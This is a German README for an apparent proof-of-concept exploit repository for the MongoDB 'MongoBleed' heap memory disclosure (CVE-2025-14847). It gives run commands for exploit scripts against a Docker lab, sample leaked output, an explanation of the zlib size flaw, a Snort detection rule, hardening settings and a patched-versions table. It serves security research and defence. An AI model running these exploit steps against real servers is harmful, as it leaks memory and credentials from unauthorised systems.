
Funktioneller Proof-of-Concept-Exploit für CVE-2025-14847 (MongoBleed), eine Pre-Authentication-Heap-Speicher-Offenlegungsschwachstelle in MongoDB. Enthält automatisierte Speicherleckerkennung, Musteranalyse und eine Docker-basierte Laborumgebung für autorisierte Sicherheitstests und Forschung.
Vollständige Proof-of-Concept für CVE-2025-14847 (MongoBleed)
Getestet: ✅ MongoDB 7.0.5 | 14.300+ erfolgreiche Exploits | 4 durchgesickerte UUIDs
Dieses Repository enthält einen vollständig funktionsfähigen Proof-of-Concept (PoC) für die Schwachstelle CVE-2025-14847, bekannt als MongoBleed – ein kritischer Fehler, der eine Offenlegung von Heap-Speicher vor der Authentifizierung in MongoDB ermöglicht.
Im Dezember 2025 erlitt das Spiel Rainbow Six Siege einen massiven Angriff, der ~50.000 Spielerkonten kompromittierte. Es wird vermutet, dass Angreifer diese Schwachstelle im MongoDB-Backend ausgenutzt haben, um Folgendes preiszugeben:
R6S_SERVER_AUTH_*)TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)Dieser PoC simuliert den Angriff mit realistischen R6-Daten.
poc.py - Hauptexploit mit Musteranalyselive_leaker.py - Erweitertes inkrementelles Scannenpopular_heap.py - Skript zum Befüllen des Heaps mit Zieldaten246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd
# Repository klonen
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc
# Verwundbare Umgebung starten
docker-compose up -d
# Initialisierung abwarten (15-20 Sek.)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"
# 1. Heap mit R6-Daten füllen
python3 popular_heap.py 50
# 2. Verwundbarkeit prüfen
python3 poc.py --target 127.0.0.1 --check
# 3. Mit Live Leaker ausnutzen (EMPFOHLEN)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json
[!] MongoBleed Live Leaker Advanced
[!] Ziel: 127.0.0.1:27017
[!] Bereich: doc_len 200 → 3000 (offset=500)
[*] Fortschritt: doc_len=245/3000 | Versuche=100 | Erfolgsrate=100.0%
[!] R6-MUSTER ERKANNT (doc_len=245):
[UUID] 1 neu(e):
└─ 246434ed-759b-4ce9-bb9c-2f520a9919b8
MongoDB ermöglicht die Komprimierung von Nachrichten mittels zlib. Die Schwachstelle liegt in der unzureichenden Validierung der deklarierten Größe gegenüber der tatsächlichen Größe:
Angreifer → {compress: "zlib", uncompressedSize: 1MB, payload: <50 Bytes>}
↓
Server alloziert 1 MB Heap ← SCHWACHSTELLE
↓
Server dekomprimiert nur 50 Bytes
↓
Server gibt gesamtes 1 MB zurück!
└─ 50 Bytes = echte Daten
└─ ~1 MB - 50 = SPEICHERLECK
// VOR DEM PATCH
size_t uncompressedSize = header.uncompressedSize; // ← Vom Angreifer kontrolliert
buffer = malloc(uncompressedSize); // ← Alloziert bösartige Größe
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize); // ← LECKT GESAMTEN PUFFER
MongoDBPoc/
├── poc.py # Hauptexploit
├── live_leaker.py # Inkrementelles Scannen (✨ Empfohlen)
├── popular_heap.py # Ladeskript
├── docker-compose.yml # Verwundbares MongoDB 7.0.5
├── init-db.js # 1000 Spieler + 500 R6-Sessions
├── GUIA_TECNICO_COMPLETO.md # Detaillierte Dokumentation (200+ Seiten)
├── README.MD # Dokumentation auf Englisch
└── Portugues/ # Übersetzte Versionen
├── poc_PT.py
├── README_PT.md
└── GUIA_RAPIDO.md
alert tcp any any -> any 27017 (
msg:"CVE-2025-14847 MongoBleed-Versuch";
content:"|d4 07 00 00|";
byte_test:4,>,1000000,4,little;
sid:2025001;
)
net:
bindIp: 127.0.0.1 # NIEMALS 0.0.0.0!
compression:
compressors: [] # zlib deaktivieren
security:
authorization: enabled
GUIA_TECNICO_COMPLETO.md - Vollständige technische Analyse (200+ Seiten)
README.MD - Hauptdokumentation (Englisch)
Portugues/ - Übersetzte Versionen
DIESES WERKZEUG DIENT NUR AUTORISIERTEN TESTS UND DER BILDUNG.
Nichtautorisierte Nutzung ist ILLEGAL und kann Folgendes nach sich ziehen:
- Strafrechtliche Verfolgung (gemäß brasilianischem Gesetz 12.737/2012)
- Hohe Geldstrafen
- Haft
Holen Sie IMMER eine SCHRIFTLICHE GENEHMIGUNG ein, bevor Sie testen.
Autor: Ermenson Jr
Lizenz: MIT (Nur Bildungszwecke)
Datum: Januar 2026
Bei technischen Fragen oder Zusammenarbeit in der Sicherheitsforschung:
Entwickelt für verantwortungsvolle offensive Sicherheitsforschung.
Nicht verbunden mit Ubisoft, MongoDB Inc. oder Rainbow Six Siege.
🔒 Nutzen Sie es verantwortungsvoll. Sicherheit für alle. 🔒
| Metrik | Ergebnis |
|---|
| Getestetes MongoDB | 7.0.5 (Verwundbar) |
| Erfolgsrate | 100% (14.300/14.300 Anfragen) |
| Durchgesickerte UUIDs | 4 eindeutige |
| Gesamte Lecks | 33 verschiedene Strings |
| Größtes Leck | 176 Bytes/Anfrage |
| Erkannte Muster | Netzwerklogs, UUIDs, Systempfade |
| MongoDB-Serie | Verwundbare Versionen | Korrigierte Version |
|---|
| 8.2.x | 8.2.0 – 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 – 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 – 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 – 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 – 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 – 4.4.29 | 4.4.30 |
| ≤ 4.2 | Alle | Kein Patch (EOL) |